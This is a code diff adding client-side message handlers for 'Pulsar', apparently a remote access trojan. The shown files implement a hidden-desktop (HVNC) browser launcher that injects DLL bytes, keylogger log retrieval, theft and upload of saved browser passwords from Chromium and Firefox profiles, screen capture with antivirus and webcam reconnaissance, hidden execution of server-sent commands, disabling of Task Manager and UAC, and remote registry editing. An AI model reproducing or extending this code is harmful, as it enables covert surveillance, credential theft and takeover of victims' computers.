processedBitmap = new Bitmap(_desktop.Width, _desktop.Height, codecPixelFormat);
|
||||
using (Graphics g = Graphics.FromImage(processedBitmap))
|
||||
{
|
||||
g.DrawImage(_desktop, 0, 0, _desktop.Width, _desktop.Height);
|
||||
}
|
||||
_desktop.Dispose();
|
||||
_desktop = processedBitmap;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"Error converting pixel format: {ex.Message}");
|
||||
// Continue with original bitmap if conversion fails
|
||||
processedBitmap = _desktop;
|
||||
}
|
||||
}
|
||||
|
||||
_desktopData = processedBitmap.LockBits(new Rectangle(0, 0, processedBitmap.Width, processedBitmap.Height),
|
||||
ImageLockMode.ReadWrite, processedBitmap.PixelFormat);
|
||||
|
||||
using (MemoryStream stream = new MemoryStream())
|
||||
{
|
||||
if (_streamCodec == null) throw new Exception("StreamCodec can not be null.");
|
||||
_streamCodec.CodeImage(_desktopData.Scan0,
|
||||
new Rectangle(0, 0, processedBitmap.Width, processedBitmap.Height),
|
||||
new Size(processedBitmap.Width, processedBitmap.Height),
|
||||
processedBitmap.PixelFormat, stream);
|
||||
|
||||
return stream.ToArray();
|
||||
}
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
finally
|
||||
{
|
||||
if (_desktopData != null)
|
||||
{
|
||||
_desktop.UnlockBits(_desktopData);
|
||||
_desktopData = null;
|
||||
}
|
||||
_desktop?.Dispose();
|
||||
_desktop = null;
|
||||
}
|
||||
}
|
||||
|
||||
private void SendFrameToServer(byte[] frameData, bool isLastRequestedFrame)
|
||||
{
|
||||
if (frameData == null || _clientMain == null) return;
|
||||
|
||||
try
|
||||
{
|
||||
_clientMain.Send(new GetHVNCDesktopResponse
|
||||
{
|
||||
Image = frameData,
|
||||
Quality = _streamCodec.ImageQuality,
|
||||
Monitor = _streamCodec.Monitor,
|
||||
Resolution = _streamCodec.Resolution,
|
||||
Timestamp = DateTimeOffset.UtcNow.ToUnixTimeMilliseconds(),
|
||||
IsLastRequestedFrame = isLastRequestedFrame,
|
||||
Fps = _currentFps
|
||||
});
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private void ClearFrameBuffer()
|
||||
{
|
||||
while (_frameBuffer.TryDequeue(out _)) { }
|
||||
}
|
||||
|
||||
private async Task ExecuteAsync(ISender client, StartHVNCProcess message)
|
||||
{
|
||||
try
|
||||
{
|
||||
string name = message.Path;
|
||||
bool dontCloneProfile = message.DontCloneProfile;
|
||||
byte[] dllBytes = message.DllBytes;
|
||||
|
||||
var browserPaths = new Dictionary<string, string>
|
||||
{
|
||||
{ "Chrome", Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\Google\\Chrome\\Application\\chrome.exe" },
|
||||
{ "Edge", Environment.GetEnvironmentVariable("PROGRAMFILES(X86)") + "\\Microsoft\\Edge\\Application\\msedge.exe" },
|
||||
{ "Brave", Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\BraveSoftware\\Brave-Browser\\Application\\brave.exe" },
|
||||
{ "Opera", Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\Opera\\opera.exe" },
|
||||
{ "OperaGX", Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\Opera GX\\opera.exe" },
|
||||
{ "Mozilla", Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\Mozilla Firefox\\firefox.exe" }
|
||||
};
|
||||
|
||||
if (dontCloneProfile && browserPaths.TryGetValue(name, out string executablePath) && File.Exists(executablePath))
|
||||
{
|
||||
string browserProcess = name.ToLower().Replace("mozilla", "firefox").Replace("edge", "msedge").Replace("operagx", "opera");
|
||||
string killCommand = $"Conhost --headless cmd.exe /c taskkill /IM {browserProcess}.exe /F";
|
||||
Debug.WriteLine(killCommand);
|
||||
ProcessHandler.CreateProc(killCommand);
|
||||
await Task.Delay(1000).ConfigureAwait(false);
|
||||
|
||||
Debug.WriteLine($"Direct starting browser: {executablePath}");
|
||||
|
||||
ProcessHandler.CreateProc(executablePath);
|
||||
return;
|
||||
}
|
||||
|
||||
switch (name)
|
||||
{
|
||||
case "GenericChromium":
|
||||
await ProcessHandler.StartGenericChromiumAsync(
|
||||
dllBytes,
|
||||
message.CustomBrowserPath,
|
||||
message.CustomSearchPattern,
|
||||
message.CustomReplacementPath
|
||||
).ConfigureAwait(false);
|
||||
break;
|
||||
case "Chrome":
|
||||
await ProcessHandler.StartChromeAsync(dllBytes).ConfigureAwait(false);
|
||||
break;
|
||||
case "Edge":
|
||||
await ProcessHandler.StartEdgeAsync(dllBytes).ConfigureAwait(false);
|
||||
break;
|
||||
case "Brave":
|
||||
await ProcessHandler.StartBraveAsync(dllBytes).ConfigureAwait(false);
|
||||
break;
|
||||
case "Opera":
|
||||
await ProcessHandler.StartOperaAsync(dllBytes).ConfigureAwait(false);
|
||||
break;
|
||||
case "OperaGX":
|
||||
await ProcessHandler.StartOperaGXAsync(dllBytes).ConfigureAwait(false);
|
||||
break;
|
||||
case "Explorer":
|
||||
ProcessHandler.StartExplorer();
|
||||
break;
|
||||
case "Cmd":
|
||||
ProcessHandler.StartCmd();
|
||||
break;
|
||||
case "Powershell":
|
||||
ProcessHandler.StartPowershell();
|
||||
break;
|
||||
case "Mozilla":
|
||||
await ProcessHandler.StartFirefoxAsync().ConfigureAwait(false);
|
||||
break;
|
||||
case "Discord":
|
||||
ProcessHandler.StartDiscord();
|
||||
break;
|
||||
default:
|
||||
ProcessHandler.StartGeneric(name);
|
||||
break;
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"HVNC process start failed: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(ISender client)
|
||||
{
|
||||
int monitorCount = ImageHandler.GetMonitorCount();
|
||||
Debug.WriteLine($"HVNC: Sending monitor count: {monitorCount}");
|
||||
client.Send(new GetHVNCMonitorsResponse { Number = monitorCount });
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
Dispose(true);
|
||||
GC.SuppressFinalize(this);
|
||||
}
|
||||
|
||||
protected virtual void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing)
|
||||
{
|
||||
Debug.WriteLine("HVNC Handler Disposed");
|
||||
StopScreenStreaming();
|
||||
ImageHandler.Dispose();
|
||||
InputHandler.Dispose();
|
||||
_streamCodec?.Dispose();
|
||||
_cancellationTokenSource?.Dispose();
|
||||
_frameRequestEvent?.Dispose();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,30 @@
|
||||
using Pulsar.Client.Config;
|
||||
using Pulsar.Common.Messages;
|
||||
using Pulsar.Common.Messages.Monitoring.KeyLogger;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Common.Networking;
|
||||
|
||||
namespace Pulsar.Client.Messages
|
||||
{
|
||||
public class KeyloggerHandler : IMessageProcessor
|
||||
{
|
||||
public bool CanExecute(IMessage message) => message is GetKeyloggerLogsDirectory;
|
||||
|
||||
public bool CanExecuteFrom(ISender sender) => true;
|
||||
|
||||
public void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
switch (message)
|
||||
{
|
||||
case GetKeyloggerLogsDirectory msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
public void Execute(ISender client, GetKeyloggerLogsDirectory message)
|
||||
{
|
||||
client.Send(new GetKeyloggerLogsDirectoryResponse {LogsDirectory = Settings.LOGSPATH });
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,57 @@
|
||||
using Pulsar.Common.Messages;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Common.Messages.UserSupport.MessageBox;
|
||||
using Pulsar.Common.Networking;
|
||||
using System;
|
||||
using System.Threading;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Pulsar.Client.Messages
|
||||
{
|
||||
public class MessageBoxHandler : IMessageProcessor
|
||||
{
|
||||
public bool CanExecute(IMessage message) => message is DoShowMessageBox;
|
||||
|
||||
public bool CanExecuteFrom(ISender sender) => true;
|
||||
|
||||
public void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
if (message is DoShowMessageBox msg)
|
||||
Execute(sender, msg);
|
||||
}
|
||||
|
||||
private void Execute(ISender client, DoShowMessageBox message)
|
||||
{
|
||||
new Thread(() =>
|
||||
{
|
||||
try
|
||||
{
|
||||
var buttons = (MessageBoxButtons)Enum.Parse(typeof(MessageBoxButtons), message.Button);
|
||||
var icon = (MessageBoxIcon)Enum.Parse(typeof(MessageBoxIcon), message.Icon);
|
||||
|
||||
DialogResult result = MessageBox.Show(
|
||||
message.Text,
|
||||
message.Caption,
|
||||
buttons,
|
||||
icon,
|
||||
MessageBoxDefaultButton.Button1,
|
||||
MessageBoxOptions.DefaultDesktopOnly);
|
||||
|
||||
// Send which button the user clicked
|
||||
client.Send(new SetStatus
|
||||
{
|
||||
Message = $"MessageBox result: {result}"
|
||||
});
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
client.Send(new SetStatus
|
||||
{
|
||||
Message = $"Error showing MessageBox: {ex.Message}"
|
||||
});
|
||||
}
|
||||
})
|
||||
{ IsBackground = true }.Start();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
using Pulsar.Common.Messages;
|
||||
|
||||
namespace Pulsar.Client.Messages
|
||||
{
|
||||
public abstract class NotificationMessageProcessor : MessageProcessorBase<string>
|
||||
{
|
||||
protected NotificationMessageProcessor() : base(true)
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,120 @@
|
||||
using Pulsar.Client.Recovery;
|
||||
using Pulsar.Client.Recovery.Browsers;
|
||||
using Pulsar.Client.Recovery.Crawler;
|
||||
using Pulsar.Common.Messages;
|
||||
using Pulsar.Common.Messages.Monitoring.Passwords;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Common.Models;
|
||||
using Pulsar.Common.Networking;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
|
||||
//public struct BrowserChromium
|
||||
//{
|
||||
// public string Name;
|
||||
// public string Path;
|
||||
// public string LocalState;
|
||||
// public ProfileChromium[] Profiles;
|
||||
//}
|
||||
|
||||
//public struct ProfileChromium
|
||||
//{
|
||||
// public string Name;
|
||||
// public string LoginData;
|
||||
// public string Path;
|
||||
//}
|
||||
|
||||
//public struct BrowserGecko
|
||||
//{
|
||||
// public string Name;
|
||||
// public string Path;
|
||||
// public string Key4;
|
||||
// public string Logins;
|
||||
//}
|
||||
|
||||
namespace Pulsar.Client.Messages
|
||||
{
|
||||
public class PasswordRecoveryHandler : IMessageProcessor
|
||||
{
|
||||
public bool CanExecute(IMessage message) => message is GetPasswords;
|
||||
|
||||
public bool CanExecuteFrom(ISender sender) => true;
|
||||
|
||||
public void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
switch (message)
|
||||
{
|
||||
case GetPasswords msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(ISender client, GetPasswords message)
|
||||
{
|
||||
List<RecoveredAccount> recovered = new List<RecoveredAccount>();
|
||||
|
||||
//var passReaders = new IAccountReader[]
|
||||
//{
|
||||
// new BravePassReader(),
|
||||
// new ChromePassReader(),
|
||||
// new OperaPassReader(),
|
||||
// new OperaGXPassReader(),
|
||||
// new EdgePassReader(),
|
||||
// new YandexPassReader(),
|
||||
// new FirefoxPassReader(),
|
||||
// new InternetExplorerPassReader(),
|
||||
// new FileZillaPassReader(),
|
||||
// new WinScpPassReader()
|
||||
//};
|
||||
|
||||
//foreach (var passReader in passReaders)
|
||||
//{
|
||||
// try
|
||||
// {
|
||||
// recovered.AddRange(passReader.ReadAccounts());
|
||||
// }
|
||||
// catch (Exception e)
|
||||
// {
|
||||
// Debug.WriteLine(e);
|
||||
// }
|
||||
//}
|
||||
|
||||
List<Recovery.Browsers.AllBrowsers> browsers = Crawl.Start();
|
||||
|
||||
foreach (var browser in browsers)
|
||||
{
|
||||
foreach (var chromium in browser.Chromium)
|
||||
{
|
||||
foreach (var profile in chromium.Profiles)
|
||||
{
|
||||
try
|
||||
{
|
||||
recovered.AddRange(ChromiumBase.ReadAccounts(profile.LoginData, chromium.LocalState, chromium.Name));
|
||||
}
|
||||
catch (Exception e)
|
||||
{
|
||||
Debug.WriteLine(e);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
foreach (var gecko in browser.Gecko)
|
||||
{
|
||||
try
|
||||
{
|
||||
recovered.AddRange(FirefoxPassReader.ReadAccounts(gecko.ProfilesDir, gecko.Name));
|
||||
}
|
||||
catch (Exception e)
|
||||
{
|
||||
Debug.WriteLine(e);
|
||||
}
|
||||
//Debug.WriteLine(gecko.Path);
|
||||
}
|
||||
}
|
||||
|
||||
client.Send(new GetPasswordsResponse { RecoveredAccounts = recovered });
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,37 @@
|
||||
using Pulsar.Common.Messages;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Common.Networking;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
|
||||
namespace Pulsar.Client.Messages
|
||||
{
|
||||
/// <summary>
|
||||
/// Handles ping requests from the server.
|
||||
/// </summary>
|
||||
public class PingHandler : IMessageProcessor
|
||||
{
|
||||
/// <inheritdoc />
|
||||
public bool CanExecute(IMessage message) => message is PingRequest;
|
||||
|
||||
/// <inheritdoc />
|
||||
public bool CanExecuteFrom(ISender sender) => true;
|
||||
|
||||
/// <inheritdoc />
|
||||
public void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
switch (message)
|
||||
{
|
||||
case PingRequest pingRequest:
|
||||
Execute(sender, pingRequest);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(ISender client, PingRequest message)
|
||||
{
|
||||
// respond fast ash
|
||||
client.Send(new PingResponse());
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,160 @@
|
||||
using Pulsar.Client.Helper;
|
||||
using Pulsar.Client.IO;
|
||||
using Pulsar.Client.User;
|
||||
using Pulsar.Common.Enums;
|
||||
using Pulsar.Common.Messages;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Common.Messages.Preview;
|
||||
using Pulsar.Common.Networking;
|
||||
using Pulsar.Common.Video;
|
||||
using Pulsar.Common.Video.Codecs;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
|
||||
namespace Pulsar.Client.Messages
|
||||
{
|
||||
public class PreviewHandler : NotificationMessageProcessor, IDisposable
|
||||
{
|
||||
private UnsafeStreamCodec _streamCodec;
|
||||
private BitmapData _desktopData = null;
|
||||
private Bitmap _desktop = null;
|
||||
private int _displayIndex = 0;
|
||||
private ISender _clientMain;
|
||||
|
||||
public override bool CanExecute(IMessage message) => message is GetPreviewImage;
|
||||
|
||||
public override bool CanExecuteFrom(ISender sender) => true;
|
||||
|
||||
public override void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
switch (message)
|
||||
{
|
||||
case GetPreviewImage msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(ISender client, GetPreviewImage message)
|
||||
{
|
||||
Debug.WriteLine("Capturing single desktop image");
|
||||
|
||||
_displayIndex = message.DisplayIndex;
|
||||
_clientMain = client;
|
||||
|
||||
var monitorBounds = ScreenHelperCPU.GetBounds(message.DisplayIndex);
|
||||
var resolution = new Resolution { Height = monitorBounds.Height, Width = monitorBounds.Width };
|
||||
|
||||
if (_streamCodec == null)
|
||||
_streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution);
|
||||
|
||||
if (_streamCodec.ImageQuality != message.Quality || _streamCodec.Monitor != message.DisplayIndex || _streamCodec.Resolution != resolution)
|
||||
{
|
||||
_streamCodec?.Dispose();
|
||||
_streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution);
|
||||
}
|
||||
|
||||
CaptureAndSendScreen();
|
||||
}
|
||||
|
||||
private void CaptureAndSendScreen()
|
||||
{
|
||||
try
|
||||
{
|
||||
_desktop = ScreenHelperCPU.CaptureScreen(_displayIndex, true);
|
||||
|
||||
if (_desktop == null)
|
||||
{
|
||||
Debug.WriteLine("Error capturing screen: Bitmap is null");
|
||||
return;
|
||||
}
|
||||
|
||||
const PixelFormat codecPixelFormat = PixelFormat.Format32bppArgb;
|
||||
Bitmap processedBitmap = _desktop;
|
||||
|
||||
if (_desktop.PixelFormat != codecPixelFormat)
|
||||
{
|
||||
try
|
||||
{
|
||||
processedBitmap = new Bitmap(_desktop.Width, _desktop.Height, codecPixelFormat);
|
||||
using (Graphics g = Graphics.FromImage(processedBitmap))
|
||||
{
|
||||
g.DrawImage(_desktop, 0, 0, _desktop.Width, _desktop.Height);
|
||||
}
|
||||
_desktop.Dispose();
|
||||
_desktop = processedBitmap;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"Error converting pixel format: {ex.Message}");
|
||||
processedBitmap = _desktop;
|
||||
}
|
||||
}
|
||||
|
||||
_desktopData = processedBitmap.LockBits(new Rectangle(0, 0, processedBitmap.Width, processedBitmap.Height),
|
||||
ImageLockMode.ReadWrite, processedBitmap.PixelFormat);
|
||||
|
||||
using (MemoryStream stream = new MemoryStream())
|
||||
{
|
||||
if (_streamCodec == null) throw new Exception("StreamCodec can not be null.");
|
||||
_streamCodec.CodeImage(_desktopData.Scan0,
|
||||
new Rectangle(0, 0, processedBitmap.Width, processedBitmap.Height),
|
||||
new Size(processedBitmap.Width, processedBitmap.Height),
|
||||
processedBitmap.PixelFormat, stream);
|
||||
_clientMain.Send(new GetPreviewResponse
|
||||
{
|
||||
Image = stream.ToArray(),
|
||||
Quality = _streamCodec.ImageQuality,
|
||||
Monitor = _streamCodec.Monitor,
|
||||
Resolution = _streamCodec.Resolution,
|
||||
CPU = HardwareDevices.CpuName,
|
||||
GPU = HardwareDevices.GpuNames,
|
||||
RAM = HardwareDevices.TotalPhysicalMemory.ToString(),
|
||||
Uptime = SystemHelper.GetUptime(),
|
||||
AV = SystemHelper.GetAntivirus(),
|
||||
MainBrowser = SystemHelper.GetDefaultBrowser(),
|
||||
HasWebcam = (WebcamHelper.GetWebcams()?.Length > 0),
|
||||
AFKTime = ActivityDetection.UserIdleTime().ToString()
|
||||
});
|
||||
|
||||
_streamCodec = null;
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"Error capturing screen: {ex.Message}");
|
||||
}
|
||||
finally
|
||||
{
|
||||
if (_desktopData != null)
|
||||
{
|
||||
_desktop.UnlockBits(_desktopData);
|
||||
_desktopData = null;
|
||||
}
|
||||
_desktop?.Dispose();
|
||||
_desktop = null;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Disposes all managed and unmanaged resources associated with this message processor.
|
||||
/// </summary>
|
||||
public void Dispose()
|
||||
{
|
||||
Dispose(true);
|
||||
GC.SuppressFinalize(this);
|
||||
}
|
||||
|
||||
protected virtual void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing)
|
||||
{
|
||||
_streamCodec?.Dispose();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,100 @@
|
||||
using Pulsar.Common.Messages;
|
||||
using Pulsar.Common.Networking;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Common.Messages.Monitoring.Query;
|
||||
using Pulsar.Common.Models.Query.Browsers;
|
||||
using Pulsar.Common.Messages.Monitoring.Query.Browsers;
|
||||
|
||||
namespace Pulsar.Client.Messages
|
||||
{
|
||||
class QueryHandler
|
||||
{
|
||||
public bool CanExecute(IMessage message) => message is GetBrowsers;
|
||||
|
||||
public bool CanExecuteFrom(ISender sender) => true;
|
||||
|
||||
public void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
switch (message)
|
||||
{
|
||||
case GetBrowsers msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
private void Execute(ISender client, GetBrowsers message)
|
||||
{
|
||||
// get the browsers on the users computer
|
||||
var browsers = new List<QueryBrowsers>();
|
||||
|
||||
using (var hklmKey = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Clients\StartMenuInternet"))
|
||||
{
|
||||
if (hklmKey != null)
|
||||
{
|
||||
foreach (var browserKey in hklmKey.GetSubKeyNames())
|
||||
{
|
||||
using (var browserProps = hklmKey.OpenSubKey(browserKey))
|
||||
{
|
||||
var browserName = browserProps?.GetValue(null)?.ToString();
|
||||
using (var commandProps = browserProps?.OpenSubKey(@"shell\open\command"))
|
||||
{
|
||||
var command = commandProps?.GetValue(null)?.ToString();
|
||||
var exePath = GetExecutablePath(command);
|
||||
if (!string.IsNullOrEmpty(browserName) && !string.IsNullOrEmpty(exePath))
|
||||
{
|
||||
browsers.Add(new QueryBrowsers { Browser = browserName, Location = exePath });
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
using (var hkcuKey = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Clients\StartMenuInternet"))
|
||||
{
|
||||
if (hkcuKey != null)
|
||||
{
|
||||
foreach (var browserKey in hkcuKey.GetSubKeyNames())
|
||||
{
|
||||
using (var browserProps = hkcuKey.OpenSubKey(browserKey))
|
||||
{
|
||||
var browserName = browserProps?.GetValue(null)?.ToString();
|
||||
using (var commandProps = browserProps?.OpenSubKey(@"shell\open\command"))
|
||||
{
|
||||
var command = commandProps?.GetValue(null)?.ToString();
|
||||
var exePath = GetExecutablePath(command);
|
||||
if (!string.IsNullOrEmpty(browserName) && !string.IsNullOrEmpty(exePath))
|
||||
{
|
||||
browsers.Add(new QueryBrowsers { Browser = browserName, Location = exePath });
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// remove dups
|
||||
browsers = browsers.GroupBy(b => b.Browser).Select(g => g.First()).ToList();
|
||||
|
||||
client.Send(new GetBrowsersResponse { QueryBrowsers = browsers });
|
||||
}
|
||||
|
||||
private string GetExecutablePath(string command)
|
||||
{
|
||||
if (string.IsNullOrEmpty(command))
|
||||
{
|
||||
return null;
|
||||
}
|
||||
|
||||
var match = System.Text.RegularExpressions.Regex.Match(command, @"(?<path>""[^""]+\.exe""|\S+\.exe)");
|
||||
return match.Success ? match.Groups["path"].Value.Trim('"') : null;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,84 @@
|
||||
using Pulsar.Common.Messages;
|
||||
using Pulsar.Common.Networking;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Common.Messages.QuickCommands;
|
||||
using System.Diagnostics;
|
||||
using Pulsar.Client.Helper.TaskManager;
|
||||
using Pulsar.Client.Helper.UAC;
|
||||
|
||||
namespace Pulsar.Client.Messages
|
||||
{
|
||||
|
||||
public class QuickCommandHandler : IMessageProcessor
|
||||
{
|
||||
public bool CanExecute(IMessage message) => message is DoSendQuickCommand || message is DoEnableTaskManager || message is DoDisableTaskManager || message is DoDisableUAC || message is DoEnableUAC;
|
||||
|
||||
public bool CanExecuteFrom(ISender sender) => true;
|
||||
|
||||
public void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
switch (message)
|
||||
{
|
||||
case DoSendQuickCommand msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
|
||||
case DoEnableTaskManager msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
|
||||
case DoDisableTaskManager msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
|
||||
case DoDisableUAC msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
|
||||
case DoEnableUAC msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(ISender client, DoSendQuickCommand message)
|
||||
{
|
||||
client.Send(new SetStatus { Message = "Successful Quick Command" });
|
||||
|
||||
Debug.WriteLine(message.Host + " " + message.Command);
|
||||
|
||||
//execute a new powershell with the command
|
||||
Process process = new Process();
|
||||
ProcessStartInfo startInfo = new ProcessStartInfo();
|
||||
startInfo.WindowStyle = ProcessWindowStyle.Hidden;
|
||||
startInfo.FileName = message.Host;
|
||||
startInfo.Arguments = message.Command;
|
||||
process.StartInfo = startInfo;
|
||||
process.Start();
|
||||
}
|
||||
|
||||
private void Execute(ISender client, DoEnableTaskManager message)
|
||||
{
|
||||
client.Send(new SetStatus { Message = "Task Manager Enabled" });
|
||||
TaskManager.Enable();
|
||||
}
|
||||
|
||||
private void Execute(ISender client, DoDisableTaskManager message)
|
||||
{
|
||||
client.Send(new SetStatus { Message = "Task Manager Disabled" });
|
||||
TaskManager.Disable();
|
||||
}
|
||||
|
||||
private void Execute(ISender client, DoDisableUAC message)
|
||||
{
|
||||
client.Send(new SetStatus { Message = "UAC Disabled. Requires Restart" });
|
||||
UACToggle.DisableUAC();
|
||||
}
|
||||
|
||||
private void Execute(ISender client, DoEnableUAC message)
|
||||
{
|
||||
client.Send(new SetStatus { Message = "UAC Enabled. Requires Restart" });
|
||||
UACToggle.EnableUAC();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,230 @@
|
||||
using Pulsar.Client.Extensions;
|
||||
using Pulsar.Client.Helper;
|
||||
using Pulsar.Client.Registry;
|
||||
using Pulsar.Common.Messages;
|
||||
using Pulsar.Common.Messages.Administration.RegistryEditor;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Common.Models;
|
||||
using Pulsar.Common.Networking;
|
||||
using System;
|
||||
|
||||
namespace Pulsar.Client.Messages
|
||||
{
|
||||
public class RegistryHandler : IMessageProcessor
|
||||
{
|
||||
public bool CanExecute(IMessage message) => message is DoLoadRegistryKey ||
|
||||
message is DoCreateRegistryKey ||
|
||||
message is DoDeleteRegistryKey ||
|
||||
message is DoRenameRegistryKey ||
|
||||
message is DoCreateRegistryValue ||
|
||||
message is DoDeleteRegistryValue ||
|
||||
message is DoRenameRegistryValue ||
|
||||
message is DoChangeRegistryValue;
|
||||
|
||||
public bool CanExecuteFrom(ISender sender) => true;
|
||||
|
||||
public void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
switch (message)
|
||||
{
|
||||
case DoLoadRegistryKey msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
case DoCreateRegistryKey msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
case DoDeleteRegistryKey msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
case DoRenameRegistryKey msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
case DoCreateRegistryValue msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
case DoDeleteRegistryValue msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
case DoRenameRegistryValue msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
case DoChangeRegistryValue msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(ISender client, DoLoadRegistryKey message)
|
||||
{
|
||||
GetRegistryKeysResponse responsePacket = new GetRegistryKeysResponse();
|
||||
try
|
||||
{
|
||||
RegistrySeeker seeker = new RegistrySeeker();
|
||||
seeker.BeginSeeking(message.RootKeyName);
|
||||
|
||||
responsePacket.Matches = seeker.Matches;
|
||||
responsePacket.IsError = false;
|
||||
}
|
||||
catch (Exception e)
|
||||
{
|
||||
responsePacket.IsError = true;
|
||||
responsePacket.ErrorMsg = e.Message;
|
||||
}
|
||||
responsePacket.RootKey = message.RootKeyName;
|
||||
client.Send(responsePacket);
|
||||
}
|
||||
|
||||
|
||||
private void Execute(ISender client, DoCreateRegistryKey message)
|
||||
{
|
||||
GetCreateRegistryKeyResponse responsePacket = new GetCreateRegistryKeyResponse();
|
||||
string errorMsg;
|
||||
string newKeyName = "";
|
||||
|
||||
try
|
||||
{
|
||||
responsePacket.IsError = !(RegistryEditor.CreateRegistryKey(message.ParentPath, out newKeyName, out errorMsg));
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
responsePacket.IsError = true;
|
||||
errorMsg = ex.Message;
|
||||
}
|
||||
|
||||
responsePacket.ErrorMsg = errorMsg;
|
||||
responsePacket.Match = new RegSeekerMatch
|
||||
{
|
||||
Key = newKeyName,
|
||||
Data = RegistryKeyHelper.GetDefaultValues(),
|
||||
HasSubKeys = false
|
||||
};
|
||||
responsePacket.ParentPath = message.ParentPath;
|
||||
|
||||
client.Send(responsePacket);
|
||||
}
|
||||
|
||||
private void Execute(ISender client, DoDeleteRegistryKey message)
|
||||
{
|
||||
GetDeleteRegistryKeyResponse responsePacket = new GetDeleteRegistryKeyResponse();
|
||||
string errorMsg;
|
||||
try
|
||||
{
|
||||
responsePacket.IsError = !(RegistryEditor.DeleteRegistryKey(message.KeyName, message.ParentPath, out errorMsg));
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
responsePacket.IsError = true;
|
||||
errorMsg = ex.Message;
|
||||
}
|
||||
responsePacket.ErrorMsg = errorMsg;
|
||||
responsePacket.ParentPath = message.ParentPath;
|
||||
responsePacket.KeyName = message.KeyName;
|
||||
|
||||
client.Send(responsePacket);
|
||||
